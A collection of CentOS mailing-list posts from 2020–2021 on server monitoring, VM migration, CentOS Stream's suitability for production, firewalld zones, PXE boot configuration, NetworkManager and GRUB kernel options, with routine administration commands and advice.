Re: [CentOS] Server monitoring

2021-07-11 Thread Mauricio Tavares
On Sat, Jul 10, 2021 at 2:10 PM H  wrote:
>
> I want to install open-source software on my hosted CentOS 7 server to 
> monitor the system in general, as well as logs, apache webserver, MySQL and 
> PostgreSQL to begin with.
>
> I know there are a multitude of packages available and would be interested in 
> hearing if others have a favorite package? My preference is for a graphical 
> interface where it is easy to follow a variety of load measures but also 
> provides alerts etc.
>
> Suggestions appreciated!
>
  Do you want to run this monitoring system in your centos 7 box
or in a separate one?
  Do you want to monitor by processing logs or dropping an agent in the box?
  Do you want to customize thresholds for warning or will take the defaults?
  Do you want something you use the web interface to install and
configure or something you can deploy using ansible/whatever?

  Stuff like zabbix, ELK, and checkmk really want to have their
own server/container and then get info from the hosts being monitored.
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] Centos 8 host -> VMware host

2021-03-22 Thread Mauricio Tavares
On Mon, Mar 22, 2021 at 3:25 PM Simon Matter  wrote:
>
> Hi,
>
> What I'm wondering here, what's the benefit of running the CentOS 7
> machine on VMware instead of EL8?
>
  Probably he has a vmware cluster that is in use already. I
myself moved out of it to KVM primarily because of the lousy PCI
passthrough ESXi has. Otherwise, it was rather stable. In any case,
off-topic to the thread.

> Simon
>
> > Everyone,
> >
> > My final solution to the moving a Centos 7 machine to VMWare turned out to
> > be the use of
> > vCenter Converter Standalone 6.2.0.1 that has to be executed on a Windows
> > machine.  I ran
> > this product on a kvm guest Windows 10 machine and it worked very well.
> > The transfer had
> > to be done while the Centos 7 machine was booted.  I have used this now to
> > transfer a kvm
> > guest Centos 7 machine and a physical machine Centos 7 both to VMWare.
> >
> > There was a problem when I booted both machines that occurred at the
> > beginning of the boot
> > process before the kernel was accepted.  The screen was filed with error
> > messages which
> > stated repetitively :
> >
> > "error: can't find command ':'"
> >
> > I had to enter a  several times to bypass the error messages and the
> > the boot proceed
> > normally.
> >
> > I found :
> > https://communities.vmware.com/t5/Converter-Standalone-Discussions/p2v-redhat-error-can-t-find-command/td-p/497444
> >
> > Apparently the VMWare converter has a bug in it that adds ": " to the
> > beginning of a line
> > that starts with "#" in /boot/grub2/grub.cfg
> >
> > All I needed to do was to edit grub.cfg and  remove the ": " that was
> > present in many of
> > the lines that had previously been commented.
> >
> > A reboot was normal.
> >
> > If any of you find a way to do this task with Linux I would surely like to
> > hear from you,
> > but if you are looking for a way to make a migration from a physical
> > machine or guest
> > machine to VMWare this worked well.
> >
> > Greg Ennis
> >
> >
> >
> >
> >
> >
> > ___
> > CentOS mailing list
> > CentOS@centos.org
> > https://lists.centos.org/mailman/listinfo/centos
> >
>
>
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] Bare metal vs. virtualization: Proxmox + Ceph + CentOS ?

2021-03-14 Thread Mauricio Tavares
How many extra servers can you add to your setup? If I were in your
shoes, I would consider building a file server/NAS with fast
connection to your server(s). Then share the data to your services to
the server (NFS?), export the disk (iscsi) or some combination of
both. I hope someone can correct me but I think postfix has issues
with use accounts in NFS partitions.

Next step is building your web/mail/etc servers -- be them as VMs or
as all in the same baremetal -- as thin as possible so you can recover
that quickly (ansible?), mount data fileshares, and off you go. If you
are going the vm route you could ether save snapshots or build one of
those setups with two servers so in case one goes boink the other
takes over. This is also good for upgrading one of the VM servers: do
them on different days so you can see if there are problems.

If you cannot have more than one server, do run VMs and then put them
in a second set of disks so something happens to boot disk you can
recover.

On Sun, Mar 14, 2021 at 1:13 AM Nicolas Kovacs  wrote:
>
> Hi,
>
> Last week I had a disaster which took me a few unnerving days to repair. My
> main Internet-facing server is a bare-metal installation with CentOS 7. It
> hosts four dozen web sites (or web applications) based on WordPress, Dolibarr,
> OwnCloud, GEPI, and quite a number of mail accounts for ten different domains.
> On sunday afternoon this machine had a hardware failure and proved to be
> unrecoverable.
>
> The good news is, I always have backups of everything. In that case, I have a
> dedicated backup server (in a different datacenter in a different country). 
> I’m
> using Rsnapshot for incremental backups, so I had all data: websites, mail
> accounts, database dumps, configurations, etc.
>
> Now here’s the problem: it took me three and a half days of intense work to
> restore everything and get everything running again. Three and a half days of
> downtime is quite a stretch.
>
> As far as I understand, my mistake was to use a bare-metal installation and 
> not
> a virtualized solution where I could simply restore a snapshot of a VM. 
> Correct
> me if I’m wrong.
>
> Now I’m doing a lot of thinking and searching. Proxmox and Ceph look quite
> promising. From what I can tell, the idea is not to use a big server but a
> cluster of many small servers, and aggregate them like you would do with hard
> disks in a RAID 10 array for example, only you would do this for the whole
> system. And then install one or several CentOS 7 VMs on top of this setup.
>
> Any advice from the pros before I dive head first into the  documentation?
>
> Cheers from the sunny South of France,
>
> Niki
>
> --
> Microlinux - Solutions informatiques durables
> 7, place de l'église - 30730 Montpezat
> Site : https://www.microlinux.fr
> Blog : https://blog.microlinux.fr
> Mail : i...@microlinux.fr
> Tél. : 04 66 63 10 32
> Mob. : 06 51 80 12 12
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] kernel-devel package newer than installed kernel

2021-03-08 Thread Mauricio Tavares
On Mon, Mar 8, 2021 at 12:30 AM Phil Perry  wrote:
>
> On 08/03/2021 04:11, Mauricio Tavares wrote:
> > Running CentOS Linux release 8.3.2011
> >
> > According to uname my kernel is 4.18.0-240.10.1.el8_3.x86_64, but when
> > I check which version of kernel-devel is available,
> >
> > yum info kernel-devel
> >
> > I get that
> >
> > Source   : kernel-4.18.0-240.15.1.el8_3.src.rpm
> >
> > Why is the version of kernel-devel available for my kernel based on a
> > newer kernel?
>
> uname prints the running kernel - maybe you need to reboot to the latest
> kernel.
>
  Thanks for the reply. I rebooted it and uname still reported the
same kernel as mentioned above.

> Try 'rpm -qa kernel' to see which kernels are actually installed.
>
Unfortunately, the latest kernel listed by rpm agrees with uname:

[raub@testbox ~]$ rpm -qa kernel
kernel-4.18.0-193.el8.x86_64
kernel-4.18.0-240.10.1.el8_3.x86_64
[raub@testbox ~]$

> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


[CentOS] kernel-devel package newer than installed kernel

2021-03-07 Thread Mauricio Tavares
Running CentOS Linux release 8.3.2011

According to uname my kernel is 4.18.0-240.10.1.el8_3.x86_64, but when
I check which version of kernel-devel is available,

yum info kernel-devel

I get that

Source   : kernel-4.18.0-240.15.1.el8_3.src.rpm

Why is the version of kernel-devel available for my kernel based on a
newer kernel?
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] CentOS Stream suitability as a production webserver

2021-01-06 Thread Mauricio Tavares
On Wed, Jan 6, 2021 at 8:30 AM Jamie Burchell  wrote:
>
> We use Ansible "to a point" in that it sets up what we consider to be our 
> preferred server (Droplet) for a specific purpose, then we deploy projects on 
> them and tweak non-Ansible managed project configs. It's not old-school 
> scripts and it's not quite a one-liner to deploy everything. It's somewhere 
> in the middle. So in reality, providing we have control over a customer's DNS 
> or we use floating IPs, migrating to another major release isn't as time 
> consuming as doing everything from scratch.
>
  Good to hear. I myself have been using ansible to deploy basic
systems -- DNS, mail, my hardware test environment -- so I can then do
the clever -- decide how I want to run my experiments for instance --
stuff. Without going over my opinions -- I am very opinionated --
about the centos thingie, I think you having your playbooks will allow
you to wait and see how this unfolds. If it goes horribly wrong you
can still switch.

With that said, I think your real concern is you can't afford centos
stream going boink on you. Your customers may not be as understanding
as Darth Vader if that happens.

Here is my opinion: Redhat said you have normal centos 8 until the end
of the year. I would stick to it until, say, October, while keeping an
eye on how centos stream unfolds. Maybe even running a test centos
stream to replicate production (or have it in production where it is
ok if it goes boink). If by then your confidence on stream is high,
switch to it (*should* be easy). If not, plan to move your customers.
In the meantime, slowly ensure your ansible playbooks can handle the
other usual suspects (at least debian and one of the other RH-derived
distros). And plan the order you will move your customers if you have
to.

> > On 6 Jan 2021, at 13:17, Mauricio Tavares  wrote:
> >
> > On Tue, Jan 5, 2021 at 6:32 PM Jamie Burchell  
> > wrote:
> >>
> >> Off topic for sure, but it's a shame this has to be a manual process of
> >> destroying and rebuilding every X years. Even Microsoft has gone the Apple
> >> way and just perpetually updates Windows 10 now.
> >>
> >  Do you use tools like ansible/chef? If you can put the time in,
> > you can make your webservers rather distro agnostic. I would even put
> > terraform on the table. It is not like your customers will know the
> > difference.
> >
> >>> On Tue, 5 Jan 2021 at 23:20, Gordon Messmer 
> >>> wrote:
> >>>
> >>> On 1/5/21 3:02 PM, Jamie Burchell wrote:
> >>>> We will need to (manually) migrate to Stream 9.x after 5 years instead of
> >>>> 10 though?
> >>>
> >>>
> >>> Yes.  CentOS Stream has a lifecycle comparable with other LTS
> >>> distributions.
> >>>
> >>>
> >>> ___
> >>> CentOS mailing list
> >>> CentOS@centos.org
> >>> https://lists.centos.org/mailman/listinfo/centos
> >>>
> >> ___
> >> CentOS mailing list
> >> CentOS@centos.org
> >> https://lists.centos.org/mailman/listinfo/centos
> > ___
> > CentOS mailing list
> > CentOS@centos.org
> > https://lists.centos.org/mailman/listinfo/centos
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] CentOS Stream suitability as a production webserver

2021-01-06 Thread Mauricio Tavares
On Tue, Jan 5, 2021 at 6:32 PM Jamie Burchell  wrote:
>
> Off topic for sure, but it's a shame this has to be a manual process of
> destroying and rebuilding every X years. Even Microsoft has gone the Apple
> way and just perpetually updates Windows 10 now.
>
  Do you use tools like ansible/chef? If you can put the time in,
you can make your webservers rather distro agnostic. I would even put
terraform on the table. It is not like your customers will know the
difference.

> On Tue, 5 Jan 2021 at 23:20, Gordon Messmer 
> wrote:
>
> > On 1/5/21 3:02 PM, Jamie Burchell wrote:
> > > We will need to (manually) migrate to Stream 9.x after 5 years instead of
> > > 10 though?
> >
> >
> > Yes.  CentOS Stream has a lifecycle comparable with other LTS
> > distributions.
> >
> >
> > ___
> > CentOS mailing list
> > CentOS@centos.org
> > https://lists.centos.org/mailman/listinfo/centos
> >
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


[CentOS] Disabling a firewalld zone

2020-12-21 Thread Mauricio Tavares
So I created a zone so I could put apply the same rules in a set of networks

firewall-cmd --permanent --new-zone=pickles
firewall-cmd --permanent --zone=ldap --add-source=192.168.102.0/24
firewall-cmd --permanent --zone=ldap --add-source=192.168.10.0/24
firewall-cmd --permanent --zone=ldap --add-source=192.168.3.0/24
firewall-cmd --permanent --zone=ldap --add-service=pickles
firewall-cmd --reload

Let's say I want to temporarily disable it. How can I do that? RIght
now best I can do is completely delete it

firewall-cmd --permanent --delete-zone=pickles
firewall-cmd --reload

which seems to be a bit harsh (good thing I documented my zone
creation so I can just past the above commands and be done)
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] Is Oracle a real alternative to Centos?

2020-12-15 Thread Mauricio Tavares
On Tue, Dec 15, 2020 at 12:53 PM Matti Pulkkinen  wrote:
>
> Ruslanas Gžibovskis kirjoitti 15.12.2020 klo 18.04:
> > I think Peter have already spent some time and read around agreement and so
> > on. So the price is understandable. And really, everyone need to keep in
> > mind that anyone can change their licence any time.
> >
> > If You ask personally me, Matti, I do not see point using oracleLinux if
> > can use Rocky/fedora out of cost. Same as I do not see any point in using
> > any derivative of Debian if you just can add additional repo and install
> > missing package...
> >
> > CentOS was free of charge RedHat Flag. And now their banner/flag do not
> > look so trustful in free area... I still would trust paid version,
> > especially when there is no-cost licence. Also you can connect to RH sales
> > and get real goood discounts. If you are a small business in small country.
> >
> > But free flag is in uncertain situation.
> >
> > And I have been working with UBK or how is shortened their unbreakable
> > kernel... No good ;)) we managed to break it ;)) and recover DB.
> >
> > If you really want you always can just look at config file how kernel is
> > made and rebuild it with your additions or exactly same in exact same
> > place. Also take additional blobs and place them where you need... if
> > needed. But you need to understand if that all you really need? Maybe you
> > just need to shorten tcp.fin_wait to 1 sec ;) and it will work as a charm
> > even with 2.6.18... with all unneeded options off, such as kernel modules,
> > usb, sata123...
> >
> > You just need to:
> > su -c 'echo "1" > /proc/enable/brain'
> >
> > Without this module either OS will work.
> >
> > And choosing OS is like choosing your partner, you need to understand, for
> > how long you have same path and why your partner did that move, did partner
> > prepared all that you would have all cases covered with new WoW...
> >
> > Thanks
>
> The main takeaway from this seems to be that your answer to my question
> is "no". Oracle can indeed change their terms if they so wish, and this
> is to be expected for any distro vendor or community. You seemed to be
> insinuating that there is something specifically in Oracle's current
> terms or practices that you find objectionable, but it is reassuring
> that this does not seem to be the case after all.
>
  I think this is a good example of when to see how much you can
make your deployment distro-agnostic. At home I have been trying to
make my ansible playbooks so they can work in both redhat
(specifically centos as there are differences) and debian based
distros. With that said I do know my playbooks to deploy KVM and
docker are a bit weak on the debian side.

> --
> Terveisin / Regards,
> Matti Pulkkinen
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] Blog article: CentOS is NOT dead

2020-12-14 Thread Mauricio Tavares
On Mon, Dec 14, 2020 at 9:41 AM Nicolas Kovacs  wrote:
>
> Le 14/12/2020 à 15:25, James Pearson a écrit :
> > As others have said, it misses the _really_ important bit about the
> > traditional CentOS model which is to follow the RHEL ~10 year life cycle
>
> I totally agree with you.
>
> But when you disagree with someone (e.g. the CentOS team), it's good at least
> to hear the person out.
>
  If you have followed the other threads in the subject, there is
one called "[CentOS]
https://blog.centos.org/2020/12/future-is-centos-stream/; where centos
and redhat are talking with the users, developers (like the bloke who
does epel), and supporters about the changes. I would say that means
people are discussing that in the list. If you missed that, please
look for it in the mail archive.

> Back at the university here in Montpellier, we had a funny exercise in one of
> the courses. Every one of us had to pick a subject where he or she had a 
> strong
> position. I remember I chose nuclear energy, which I think is a bad choice. 
> And
> in the exercise, I had to *defend* nuclear energy against its opponents.
>
> And I published the link to the article because it's a fine text and nicely
> argumented.
>
  I usually try to avoid reading anything on medium.com because of
its paywall and how it controls what users get to see; I can provide a
link to what a group who left it wrote if you want. But, for the sake
of hearing you out, I opened the doc in a browser in incognito mode.
In it the author states

'CentOS will no longer be old, crusty, and barely alive, trailing RHEL
by months at times.'

First, the word choice in that sentence, which prevails the article,
is anything but nicely argumented as you put it. Second, Centos stream
will have some patches before RHES but the security patches will be
done *after* RHES.  In my book that sounds like it checks the
"trailing RHEL by months at times" box where it counts. So, his pretty
drawing is very innaccurate.

Further down the author tells us that "IBM did not do this. The CentOS
governing board, some of which work for Red Hat, did this." Thanks to
the  "[CentOS] https://blog.centos.org/2020/12/future-is-centos-stream/;
thread it became known that redhat told the centos steering committee
that centos was changing and they -- centos committee -- had the
option to vote to approve those changes -- unanimously -- while redhat
reserved the right to overrule the entire voting. To understand the
significance of this, we need to remember what the "C" in CentOS stand
for: community.

The author also states "This was not done intentionally. It is also
water under the bridge." I would like to focus on the last sentence.
That sounds very final and implies the "C" in Centos matters little
(refer to my previous comment on the decision process).

Then the author goes on and says 'If you are someone who is thinking,
“CentOS is now just the RHEL beta,” please ask yourself, did you use
to consider RHEL to be the CentOS beta? If not, you shouldn’t be
thinking that now about CentOS.' Like in other parts of this "nicely
argumented article" the author is very condescending, implying anyone
who does not agree with his point is a nitwit. In fact, his "The way
software makes it in is the same. It just hits CentOS first instead of
RHEL first" statement is misleading because of the security patches
case I pointed earlier.

Another of the author's points is that "[...] if RHEL is the gold
standard of stability (which many would suggest it is) then why would
CentOS Stream, a distro effectively taking its place in the line-up,
be less stable?" That clashes with what Chris Wright, the Red Hat CTO
stated

"To be exact, CentOS Stream is an upstream development platform for
ecosystem developers. It will be updated several times a day. This is
not a production operating system."
(source: 
https://web.archive.org/web/20201212012342/https://www.redhat.com/en/blog/transforming-development-experience-within-centos)

Further down the author argues 'It’s no secret that CentOS competes
with RHEL. I’ve personally heard CTOs tell Red Hat salespeople, “why
should I buy RHEL when I can use CentOS for free?” I die inside when I
hear that. It is a fair and good question, but asking it tends to fire
up a salesperson and gives them direct financial reasons to hate on
CentOS.' If that is the case, that shows Red Hat salespeople need some
training; there is a RH partner who commented out recently in the list
that his company has no issues helping groups with not enough budget
to use centos, understanding its limitations, and upselling those who
need the commercial version because of the support (last time I used
the RHES support it was quite good).



> Cheers,
>
> Niki
>
> --
> Microlinux - Solutions informatiques durables
> 7, place de l'église - 30730 Montpezat
> Site : https://www.microlinux.fr
> Blog : https://blog.microlinux.fr
> Mail : i...@microlinux.fr
> Tél. : 04 66 63 10 32
> Mob. : 06 51 80 12 12
> 

Re: [CentOS] How to Migrate Wordpress Website from 32-bit CentOS Linux 6.3 to 64-bit CentOS Linux 8.2 (2004)

2020-09-02 Thread Mauricio Tavares
On Mon, Aug 31, 2020 at 3:47 PM Jim Perrin  wrote:
>
> I've moderated him (again). If this keeps up I'll see what can be done
> for a more permanent solution.
>
  I just found out he also pushed his infomercial onto the apache
mailing list.


> On 8/31/20 11:15, Richard wrote:
> >
> >
> >> Date: Monday, August 31, 2020 19:04:25 +0100
> >> From: Pete Biggs 
> >>
> >>> Why are you even posting this to a public list?  Use your blog for
> >>> this kind of thing.  I know you have one, you post it repeatedly to
> >>> random lists.
> >>>
> >> At least posting to a public list like this means that there is some
> >> chance people will read the subsequent posts and realise the
> >> quality of instructions.
> >>
> >> P.
> >>
> >
> > He cross-posted this to at least three other lists (apache/httpd,
> > maria-discuss and php) where these types of issues are generally out
> > of scope.
> >
> > He has been moderated on this list, but appears to have used yet
> > another email address for this posting.
> >
> >
> > ___
> > CentOS mailing list
> > CentOS@centos.org
> > https://lists.centos.org/mailman/listinfo/centos
> >
>
> --
> Jim Perrin
> The CentOS Project | http://www.centos.org
> twitter: @BitIntegrity | GPG Key: FA09AD77
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] Need HELP with old DSL modem setup on CentOS 7

2020-07-12 Thread Mauricio Tavares
On Sun, Jul 12, 2020 at 3:39 PM Kay Schenk  wrote:
>
> On Sun, Jul 12, 2020, 12:31 Mauricio Tavares  wrote:
>
> > On Sun, Jul 12, 2020 at 3:15 PM Kay Schenk  wrote:
> > >
> > > Hello all--
> > > I'm in a bind trying to reset an older Nether DSL modem. I did a manual
> > > reset on it. It was set up as "pass thru" by me and I want to "undo"
> > that.
> > > When I boot now, the joys of Network Manager!, I can not just enter the
> > > modem manager IP address because I keep getting "network not accessible"
> > .
> > > HELP!
> > >
> >   Dumb question: is the modem directly connected to computer or
> > attached to a router?
> >
>
> Currently the modem is only attached to my computer. The modem WAS attached
> to a router in pass thru mode. I did a reset on the modem which should have
> gotten it back to "normal" modem mode. Now it's directly connected to my
> desktop -- no router. Once upon a time I could directly access the modem
> interface through my browser, now I can not.
>
  With your current setup in mind, do you know the modem internal
IP? With that, set your computer's IP to be in the same network,
verify the default route, and see if you can reach out to the modem.

Personally I would have the router between the two, but that is
changing the problem instead of helping you fix yours.

> > ___
> > > Sent from MzK's phone.
> > > ___
> > > CentOS mailing list
> > > CentOS@centos.org
> > > https://lists.centos.org/mailman/listinfo/centos
> > ___
> > CentOS mailing list
> > CentOS@centos.org
> > https://lists.centos.org/mailman/listinfo/centos
> >
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] Need HELP with old DSL modem setup on CentOS 7

2020-07-12 Thread Mauricio Tavares
On Sun, Jul 12, 2020 at 3:15 PM Kay Schenk  wrote:
>
> Hello all--
> I'm in a bind trying to reset an older Nether DSL modem. I did a manual
> reset on it. It was set up as "pass thru" by me and I want to "undo" that.
> When I boot now, the joys of Network Manager!, I can not just enter the
> modem manager IP address because I keep getting "network not accessible" .
> HELP!
>
  Dumb question: is the modem directly connected to computer or
attached to a router?
> ___
> Sent from MzK's phone.
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] complex migration

2020-07-10 Thread Mauricio Tavares
On Fri, Jul 10, 2020 at 11:04 AM Christopher Wensink
 wrote:
>
> Hello Everyone,
>
> I need to do a complex migration of either a guest VM as a whole or as
> individual files with a dump and load of a progress database-based ERP
> system.
>
> The old host is an Amd Opteron 8 Core 16 GB ram single Socket CPU with a
> RAID 10 array of 8x 500 GB SATA Disks.  It is running Centos 6.10 as a
> base OS using OpenVZ as the VM technology.  Kernel version is
> 2.6.32-042stab142.1 x86_64
>
> The VM "bowser" is running CentOS 6.8, it's allocated all 8 Cores, 4 GB
> of ram, and 120 GB of thick provisioned space.  This VM is running
> kernel 2.6.32-042stab142.1 i686/i386 - 32 bit OS.
>
> The new host has Dual Xeon Silver CPU's 256 GB ram, and a RAID 6 setup
> w/ 13.96 TB of total available storage of SSD drives.
>
> I've followed the instructions here:
>
> https://communities.vmware.com/message/1719787#1719787
>
> and here:
> http://gurutek.biz/migrating-from-proxmoxopenvz-to-esxesxivmware-server-part-1/
>
> I am at the point where I have a .vmdk file created, and I've imported
> the machine into vmware, but the machine is not booting.  The bios
> vmware simply says no operating system found.  I can boot from a rescue
> disk, then mount the old hard drive, and I can see files  from the old
> VM.  I was able to chroot into the filesystem of the old system, and I
> was able to get the network card communicating and online.
>
> After chrooting into the base of the old filesystem, when I try to use
> yum to install a kernel and run yum updates, I have an issue where the
> system is trying to install the i686 and x86_64 versions of RPM's that
> conflict with each other , and they don't work because of cross
> dependencies.
>
> librt.so.1 is needed by (installed) libdrm-2.4.65-2.el6.i686,
> and many packages repeat for
> librt.so.1, libutil.so.1, libgmp.so.3, libgmpxx.so.4, liblber-2.4.so.2,
> libacl.so.1
>
> I've tried the suggestion of running rpm -Va --nofiles --nodigest, which
> completes but does not fix the files.
>
> Has anyone run into this i686 / x86_64 dual package conflicting issue
> before?  Any suggestions?
>
  Correct me if I am wrong but you moved this bowser vm from
openvz to vmware. If so, how about if you start by going to the vmware
console and checking the configuration for bowser? Maybe it by default
set it to be a 64bit CPU instead of 32bit.

Once you have that, if your problems are still happening I would
suggest checking if bowser knows which boot partition it should use.

> Christopher Wensink
> IS Administrator
> Five Star Plastics, Inc
> 1339 Continental Drive
> Eau Claire, WI 54701
> Office:  715-831-1682
> Mobile:  715-563-3112
> Fax:  715-831-6075
> cwens...@five-star-plastics.com
> www.five-star-plastics.com
>
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] Can't move to Centos 8

2020-05-14 Thread Mauricio Tavares
On Thu, May 14, 2020 at 1:46 AM Kenneth Porter  wrote:
>
> --On Wednesday, May 13, 2020 8:22 PM -0400 Mauricio Tavares
>  wrote:
>
> > 1) Have you considered moving the storage business to another host so
> > not to have a single point of failure?
> > 2) Would a $60 Raspberry Pi 4GB be a good replacement? 2 USB3 ports
> > and 1 GB ether port. My Synology storage appliance thingie is much
> > dumber than that and has not missed a beat in years.
>
> I'm using CentOS 7 and 8 for internal servers but use OpenWrt on a consumer
> router to do the fancy traffic balancing with the "cake" traffic control
> module, something the old kernel in CentOS 7 lacks.
>
  Funny you mentioned the OpenWrt: I have been using one as access
point and realized I not only forgot how to but cannot find info (I
remember seeing it years ago) on how to run the 2.4 and 5GHz as
separate networks. Well, I can't even get the internal dhcp to work,
having to forward all that to my bind/dhcp vm guest. Shame on me, as
if I get that working I can then think on putting a vpn between
wireless and internal networks which is something I really should be
doing.

> I'm running an email server with Dovecot IMAP, Spamassassin, and ClamAV and
> that's a bit of a load so I suspect a Pi would be underpowered for that.
>
 I really think it depends on the load, and only you have access
to the performance info to answer that. There are people running all
that in docker containers (I could swear I read about an "official" or
"officially blessed" postfix container in the postfix mailing list).
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] Can't move to Centos 8

2020-05-13 Thread Mauricio Tavares
On Wed, May 13, 2020 at 4:37 PM david  wrote:
>
> At 01:25 PM 5/13/2020, James Szinger wrote:
> >On Tue, 12 May 2020 17:42:25 -0700 david  wrote:
> >
> > > Folks
> > >
> > > I've been trying to convert my systems to Centos 8, seeing the EOL on
> > > the horizon a few years away.  One of my systems is a Mac-Mini, and
> > > support for that has been discontinued.  I'm wondering what the
> > > community suggests among these alternatives:
> >
> >I can't be specific since you didn't say how you're using the
> >Mini. You don't even say if the Mini is PPC, i386, or x86_64.
> >
> > > 1)  Stay with Centos 7 even after EOL hoping market pressures will
> > > add Mac-Mini support
> >
> >My guess is that RH will focus on the server market.
> >
> > > 2)  Spend a few hundred dollars on a small, **quiet** replacement
> > > (ugh)
> >
> >2a) Stay on C7 until EOL (in 4 years).  Then re-evaluate your hardware
> >needs and availablilty.
> >
> > > 3) Convert to the Debian/Ubuntu distro.
> > >
> > > 4) Hope someone figures out a solution.
> >
> >Beware.  This might end up being very fragile.
> >
> >5) Switch to Fedora which has better hardware support and more software.
> >
> >Jim
> >___
>
>
> Jim
> Sorry that I omitted those details, so...
> Intended use:  Gateway to my in-house network, providing DNS
> (internal only), DHCP, Mail server, and web server, backup storage
> for some systems
>
> As a web server, the load is low, so large USB-connected disk works just fine.
> As a backup device, I am using ZFS and it works well.
> As a mail server, it's my personal mail primarily, likely running
> sendmail or postfix.
>
  Two thoughts:

1) Have you considered moving the storage business to another host so
not to have a single point of failure?
2) Would a $60 Raspberry Pi 4GB be a good replacement? 2 USB3 ports
and 1 GB ether port. My Synology storage appliance thingie is much
dumber than that and has not missed a beat in years.


> Mac-mini is an x86_64.
>
> For use as a gateway, I use the Ethernet connect as a link to a
> gigabyte switch and WiFi access point, and use a usb-connected dongle
> for the ethernet connect to the modem/internet.
>
> David
>
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] Custom ISO

2020-05-06 Thread Mauricio Tavares
On Wed, May 6, 2020 at 9:41 AM Jerry Geis  wrote:
>
> Sorry I get it \x20 is a space and then "7" then \x20 is another space.
>
  I like underscores

> Jerry
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


[CentOS] tftp server different from dhcp one

2020-02-23 Thread Mauricio Tavares
In 
https://docs.centos.org/en-US/centos/install-guide/pxe-server/#chap-installation-server-setup
they show the following example for setting dhcpd.conf to point to the
tftp server for pxe booting:

option space pxelinux;
option pxelinux.magic code 208 = string;
option pxelinux.configfile code 209 = text;
option pxelinux.pathprefix code 210 = text;
option pxelinux.reboottime code 211 = unsigned integer 32;
option architecture-type code 93 = unsigned integer 16;

subnet 10.0.0.0 netmask 255.255.255.0 {
option routers 10.0.0.254;
range 10.0.0.2 10.0.0.253;

class "pxeclients" {
 match if substring (option vendor-class-identifier, 0, 9) = "PXEClient";
 next-server 10.0.0.1;

 if option architecture-type = 00:07 {
   filename "shim.efi";
 } else {
   filename "pxelinux/pxelinux.0";
}
  }
}

If the server is a different one, how would the option
architecture-type{} change to reflect the file location?
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] NetworkManager on servers

2020-02-11 Thread Mauricio Tavares
On Tue, Feb 11, 2020 at 8:12 AM Jonathan Billings  wrote:
>
> On Tue, Feb 11, 2020 at 06:11:04AM +0100, Simon Matter via CentOS wrote:
> > Unfortunately, instead of fixing/refactoring the whole bash networking
> > script mess, another new project was started instead, called
> > systemd-networkd :-)
>
> Actually, I'm sad that RHEL/CentOS 8 doesn't support
> systemd-networkd.  It's really nice, especially for really pared down
> systems that don't need a lot of extra services like NetworkManager.
> But I understand that Red Hat needs to focus its support efforts.
>
  I thought that systemd was under redhat, so I am confused why
they would not be pushing it instead of networkmanager. Am I missing
something?
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


[CentOS] Adding options to grub

2020-01-13 Thread Mauricio Tavares
  So I want to add a few options to the kernel (say iommu
support). I have been told before to avoid using grub2-mkconfig
because it would apply the changes to all currently available (to boot
from) boot kernels. Instead, I should edit just the latest kernel
entry in the grub.cfg file, adding the option to the line that used to
start with "linux16" in centos6. This way, if it went boink, all I had
to do is reboot, pick another kernel from the grub menu and off I
went. And, it seems that every future kernel upgrade would incorporate
this change.

Looking at a centos7.7 setup, I take the equivalent line in
/boot/grub/grub.conf is

kernel /boot/vmlinuz-3.10.0-123.4.4.el7.x86_64 console=hvc0
xencons=tty0 root=/dev/xvda ro

I am now looking into a centos8 and its grub.cfg
(/boot/efi/EFI/centos/grub.cfg in this case) looks rather different.
Is what I have described above still the safest way to customize the
kernel? Or is there a cleaner way to do the same while still leaving
me the option to go back to the grub menu and pick an undisturbed
kernel?
___
CentOS mailing list
CentOS@centos.org
